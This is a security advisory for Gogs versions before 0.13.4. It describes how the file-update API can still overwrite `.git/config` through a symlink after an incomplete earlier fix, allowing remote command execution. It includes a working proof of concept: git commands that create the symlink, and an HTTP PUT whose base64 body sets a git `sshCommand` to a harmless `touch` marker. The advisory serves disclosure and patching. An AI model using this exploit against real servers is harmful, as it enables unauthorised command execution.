GHSA-gg64-xxr9-qhjp Gogs's update .git/config file allows remote command execution

• Go gogs.io/gogs: < 0.13.4 → fixed in 0.13.4

Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution. Details Function `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update `.git/config` file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206 PoC ```bash add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push ``` Update file via API router ```http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token} {"message":"message","committer":{"name":"test","email":"[email protected]"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"} ``` Impact RCE